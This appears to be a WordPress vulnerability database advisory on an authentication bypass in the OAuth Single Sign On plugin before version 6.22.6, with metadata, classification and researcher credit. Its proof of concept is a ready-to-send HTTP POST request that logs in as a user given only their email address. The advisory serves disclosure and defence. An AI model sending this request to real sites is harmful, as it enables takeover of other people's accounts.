WordPress Plugin Vulnerabilities
OAuth Single Sign On < 6.22.6 - Authentication Bypass
Description
The plugin doesn't validate that OAuth access token requests are legitimate, which allows attackers to log onto the site with the only knowledge of a user's email address.
Proof of Concept
POST / HTTP/1.1 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 40 Connection: close option=mooauth&email=admin@localhost.org
Affects Plugins
References
Classification
Type
AUTHBYPASS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-06-27 (about 1 years ago)
Added
2022-06-27 (about 1 years ago)
Last Updated
2023-04-01 (about 1 years ago)